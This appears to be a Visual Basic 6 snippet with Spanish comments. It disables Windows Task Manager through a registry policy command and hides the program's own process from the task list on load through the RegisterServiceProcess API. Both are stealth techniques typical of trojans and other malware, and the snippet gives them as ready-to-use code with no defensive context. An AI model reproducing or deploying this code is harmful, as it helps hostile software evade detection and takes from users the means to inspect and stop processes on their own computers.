Shell "reg add HKEY_CURRENT_USER\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f"

Const RSP_SIMPLE_SERVICE = 1
Const RSP_UNREGISTER_SERVICE = 0
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long


Public Sub MakeMeService()
    Dim pid As Long, reserv As Long
    pid = GetCurrentProcessId() 'obtiene el nombre del proceso
    regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE) 'lo esconde
End Sub


Public Sub UnMakeMeService()
    Dim pid As Long, reserv As Long
    pid = GetCurrentProcessId() 'obtiene el nombre del porceso
    regserv = RegisterServiceProcess(pid, RSP_UNREGISTER_SERVICE) ' lo muestra
End Sub


Private Sub Form_Load()
       MakeMeService ' lo esconde
End Sub


Private Sub Form_Unload(Cancel As Integer)
    UnMakeMeService ' lo muestra
End Sub